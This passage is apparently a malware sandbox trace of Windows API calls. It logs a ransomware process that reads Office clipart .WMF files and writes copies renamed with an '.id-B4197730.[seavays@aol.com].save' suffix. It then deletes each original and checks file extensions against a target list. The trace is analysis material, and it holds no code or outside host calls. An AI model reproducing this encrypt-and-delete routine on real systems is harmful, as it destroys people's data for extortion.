Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105230.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0209.510] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.510] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.510] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105230.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0209.512] GetLastError () returned 0x0 [0209.512] ReadFile (in: hFile=0x35c, lpBuffer=0x33cb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fecc, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesRead=0x2e2fecc*=0x1434, lpOverlapped=0x0) returned 1 [0209.514] WriteFile (in: hFile=0x368, lpBuffer=0x33cb020*, nNumberOfBytesToWrite=0x1440, lpNumberOfBytesWritten=0x2e2fc94, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesWritten=0x2e2fc94*=0x1440, lpOverlapped=0x0) returned 1 [0209.515] ReadFile (in: hFile=0x35c, lpBuffer=0x33cb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fecc, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesRead=0x2e2fecc*=0x0, lpOverlapped=0x0) returned 1 [0209.515] WriteFile (in: hFile=0x368, lpBuffer=0x33cb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e2fc94, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesWritten=0x2e2fc94*=0xec, lpOverlapped=0x0) returned 1 [0209.516] SetEndOfFile (hFile=0x368) returned 1 [0209.516] CloseHandle (hObject=0x368) returned 1 [0209.516] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.516] SetEndOfFile (hFile=0x35c) returned 1 [0209.517] CloseHandle (hObject=0x35c) returned 1 [0209.517] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0209.517] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105230.wmf")) returned 1 [0209.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0209.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0209.518] lstrlenW (lpString=".doc") returned 4 [0209.518] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0209.518] lstrlenW (lpString=".docx") returned 5 [0209.518] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0209.518] lstrlenW (lpString=".pdf") returned 4 [0209.518] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0209.518] lstrlenW (lpString=".xls") returned 4 [0209.518] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0209.519] lstrlenW (lpString=".xlsx") returned 5 [0209.519] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0209.519] lstrlenW (lpString=".ppt") returned 4 [0209.519] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0209.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0209.519] lstrlenW (lpString=".zip") returned 4 [0209.519] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0209.519] lstrlenW (lpString=".rar") returned 4 [0209.519] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0209.519] lstrlenW (lpString=".bz2") returned 4 [0209.519] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0209.519] lstrlenW (lpString=".7z") returned 3 [0209.519] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0209.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0209.519] lstrlenW (lpString=".dbf") returned 4 [0209.519] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0209.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0209.519] lstrlenW (lpString=".1cd") returned 4 [0209.519] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0209.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0209.519] lstrlenW (lpString=".jpg") returned 4 [0209.519] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0209.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0209.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0209.520] lstrlenW (lpString=".doc") returned 4 [0209.520] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0209.520] lstrlenW (lpString=".docx") returned 5 [0209.520] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0209.520] lstrlenW (lpString=".pdf") returned 4 [0209.520] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0209.520] lstrlenW (lpString=".xls") returned 4 [0209.520] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0209.520] lstrlenW (lpString=".xlsx") returned 5 [0209.520] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0209.520] lstrlenW (lpString=".ppt") returned 4 [0209.520] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0209.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0209.520] lstrlenW (lpString=".zip") returned 4 [0209.520] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0209.520] lstrlenW (lpString=".rar") returned 4 [0209.520] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0209.520] lstrlenW (lpString=".bz2") returned 4 [0209.520] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0209.520] lstrlenW (lpString=".7z") returned 3 [0209.520] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0209.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0209.520] lstrlenW (lpString=".dbf") returned 4 [0209.520] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0209.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0209.520] lstrlenW (lpString=".1cd") returned 4 [0209.521] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0209.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0209.521] lstrlenW (lpString=".jpg") returned 4 [0209.521] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0209.521] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0209.521] lstrlenW (lpString="J0105232.WMF") returned 12 [0209.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105232.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0209.521] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2e2ff14 | out: lpFileSize=0x2e2ff14*=5632) returned 1 [0209.521] CloseHandle (hObject=0x35c) returned 1 [0209.521] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105232.wmf")) returned 0x220 [0209.522] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105232.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0209.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105232.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0209.522] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.522] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105232.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0209.523] GetLastError () returned 0x0 [0209.523] ReadFile (in: hFile=0x35c, lpBuffer=0x33cb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fecc, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesRead=0x2e2fecc*=0x1600, lpOverlapped=0x0) returned 1 [0209.525] WriteFile (in: hFile=0x368, lpBuffer=0x33cb020*, nNumberOfBytesToWrite=0x1610, lpNumberOfBytesWritten=0x2e2fc94, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesWritten=0x2e2fc94*=0x1610, lpOverlapped=0x0) returned 1 [0209.526] ReadFile (in: hFile=0x35c, lpBuffer=0x33cb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fecc, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesRead=0x2e2fecc*=0x0, lpOverlapped=0x0) returned 1 [0209.526] WriteFile (in: hFile=0x368, lpBuffer=0x33cb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e2fc94, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesWritten=0x2e2fc94*=0xec, lpOverlapped=0x0) returned 1 [0209.526] SetEndOfFile (hFile=0x368) returned 1 [0209.527] CloseHandle (hObject=0x368) returned 1 [0209.527] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.527] SetEndOfFile (hFile=0x35c) returned 1 [0209.528] CloseHandle (hObject=0x35c) returned 1 [0209.528] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0209.528] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105232.wmf")) returned 1 [0209.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0209.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0209.529] lstrlenW (lpString=".doc") returned 4 [0209.529] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0209.529] lstrlenW (lpString=".docx") returned 5 [0209.529] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0209.529] lstrlenW (lpString=".pdf") returned 4 [0209.529] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0209.529] lstrlenW (lpString=".xls") returned 4 [0209.529] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0209.530] lstrlenW (lpString=".xlsx") returned 5 [0209.530] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0209.530] lstrlenW (lpString=".ppt") returned 4 [0209.530] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0209.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0209.530] lstrlenW (lpString=".zip") returned 4 [0209.530] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0209.530] lstrlenW (lpString=".rar") returned 4 [0209.530] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0209.530] lstrlenW (lpString=".bz2") returned 4 [0209.530] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0209.530] lstrlenW (lpString=".7z") returned 3 [0209.530] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0209.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0209.530] lstrlenW (lpString=".dbf") returned 4 [0209.530] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0209.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0209.530] lstrlenW (lpString=".1cd") returned 4 [0209.530] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0209.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0209.531] lstrlenW (lpString=".jpg") returned 4 [0209.531] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0209.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0209.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0209.531] lstrlenW (lpString=".doc") returned 4 [0209.531] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0209.531] lstrlenW (lpString=".docx") returned 5 [0209.531] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0209.531] lstrlenW (lpString=".pdf") returned 4 [0209.531] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0209.531] lstrlenW (lpString=".xls") returned 4 [0209.531] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0209.531] lstrlenW (lpString=".xlsx") returned 5 [0209.531] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0209.531] lstrlenW (lpString=".ppt") returned 4 [0209.531] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0209.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0209.531] lstrlenW (lpString=".zip") returned 4 [0209.531] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0209.531] lstrlenW (lpString=".rar") returned 4 [0209.531] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0209.531] lstrlenW (lpString=".bz2") returned 4 [0209.531] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0209.531] lstrlenW (lpString=".7z") returned 3 [0209.532] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0209.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0209.532] lstrlenW (lpString=".dbf") returned 4 [0209.532] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0209.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0209.532] lstrlenW (lpString=".1cd") returned 4 [0209.532] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0209.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0209.532] lstrlenW (lpString=".jpg") returned 4 [0209.532] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0209.532] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0209.532] lstrlenW (lpString="J0105234.WMF") returned 12 [0209.532] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105234.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0209.533] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2e2ff14 | out: lpFileSize=0x2e2ff14*=3444) returned 1 [0209.533] CloseHandle (hObject=0x35c) returned 1 [0209.533] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105234.wmf")) returned 0x220 [0209.533] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105234.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0209.533] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105234.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0209.533] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.534] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.534] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105234.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0209.535] GetLastError () returned 0x0 [0209.535] ReadFile (in: hFile=0x35c, lpBuffer=0x33cb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fecc, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesRead=0x2e2fecc*=0xd74, lpOverlapped=0x0) returned 1 [0209.951] WriteFile (in: hFile=0x368, lpBuffer=0x33cb020*, nNumberOfBytesToWrite=0xd80, lpNumberOfBytesWritten=0x2e2fc94, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesWritten=0x2e2fc94*=0xd80, lpOverlapped=0x0) returned 1 [0209.952] ReadFile (in: hFile=0x35c, lpBuffer=0x33cb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fecc, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesRead=0x2e2fecc*=0x0, lpOverlapped=0x0) returned 1 [0209.952] WriteFile (in: hFile=0x368, lpBuffer=0x33cb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e2fc94, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesWritten=0x2e2fc94*=0xec, lpOverlapped=0x0) returned 1 [0209.953] SetEndOfFile (hFile=0x368) returned 1 [0209.953] CloseHandle (hObject=0x368) returned 1 [0209.953] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.953] SetEndOfFile (hFile=0x35c) returned 1 [0209.954] CloseHandle (hObject=0x35c) returned 1 [0209.954] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0209.954] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105234.wmf")) returned 1 [0209.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0209.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0209.955] lstrlenW (lpString=".doc") returned 4 [0209.955] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0209.955] lstrlenW (lpString=".docx") returned 5 [0209.955] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0209.955] lstrlenW (lpString=".pdf") returned 4 [0209.955] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0209.955] lstrlenW (lpString=".xls") returned 4 [0209.955] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0209.955] lstrlenW (lpString=".xlsx") returned 5 [0209.955] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0209.955] lstrlenW (lpString=".ppt") returned 4 [0209.955] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0209.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0209.955] lstrlenW (lpString=".zip") returned 4 [0209.955] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0209.955] lstrlenW (lpString=".rar") returned 4 [0209.955] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0209.955] lstrlenW (lpString=".bz2") returned 4 [0209.955] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0209.955] lstrlenW (lpString=".7z") returned 3 [0209.956] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0209.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0209.956] lstrlenW (lpString=".dbf") returned 4 [0209.956] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0209.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0209.956] lstrlenW (lpString=".1cd") returned 4 [0209.956] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0209.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0209.956] lstrlenW (lpString=".jpg") returned 4 [0209.956] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0209.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0209.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0209.956] lstrlenW (lpString=".doc") returned 4 [0209.956] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0209.956] lstrlenW (lpString=".docx") returned 5 [0209.956] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0209.956] lstrlenW (lpString=".pdf") returned 4 [0209.956] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0209.956] lstrlenW (lpString=".xls") returned 4 [0209.956] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0209.956] lstrlenW (lpString=".xlsx") returned 5 [0209.956] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0209.956] lstrlenW (lpString=".ppt") returned 4 [0209.956] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0209.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0209.956] lstrlenW (lpString=".zip") returned 4 [0209.956] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0209.956] lstrlenW (lpString=".rar") returned 4 [0209.956] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0209.956] lstrlenW (lpString=".bz2") returned 4 [0209.956] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0209.956] lstrlenW (lpString=".7z") returned 3 [0209.957] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0209.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0209.957] lstrlenW (lpString=".dbf") returned 4 [0209.957] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0209.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0209.957] lstrlenW (lpString=".1cd") returned 4 [0209.957] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0209.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0209.957] lstrlenW (lpString=".jpg") returned 4 [0209.957] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0209.957] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0209.957] lstrlenW (lpString="J0105280.WMF") returned 12 [0209.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105280.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0209.957] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2e2ff14 | out: lpFileSize=0x2e2ff14*=11540) returned 1 [0209.957] CloseHandle (hObject=0x35c) returned 1 [0209.958] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105280.wmf")) returned 0x220 [0209.958] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105280.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0209.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105280.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0209.958] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.958] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec0 | out: 